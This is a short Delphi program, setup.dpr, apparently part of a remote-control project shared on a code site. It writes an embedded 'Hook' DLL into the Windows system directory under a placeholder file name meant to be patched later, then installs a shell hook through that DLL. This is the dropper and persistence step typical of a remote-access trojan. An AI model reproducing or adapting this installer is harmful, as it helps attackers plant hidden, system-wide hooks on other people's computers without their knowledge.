setup.dpr

来自「Delphi中远程控制的实现」· DPR 代码 · 共 25 行

program Setup;

{$R '..\RES\Hook.res' '..\RES\Hook.txt'} // Hook.DLL

uses
  Windows, FunUnit in 'FunUnit.pas';

function getdr():String;
var
  MySysPath: PChar;
begin
  GetMem(MySysPath, 255);
  GetSystemDirectory(MySysPath, 255);
   Result := MySysPath;
end;


const
  ComDLL_FileName = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //DLL文件安装目录

begin
  if ResourceToFile(RT_RCDATA, 'HOOK', Pchar(getdr()+'\'+ComDLL_FileName)) then
    SetupShellHook(Pchar(getdr()+'\'+ComDLL_FileName));
end.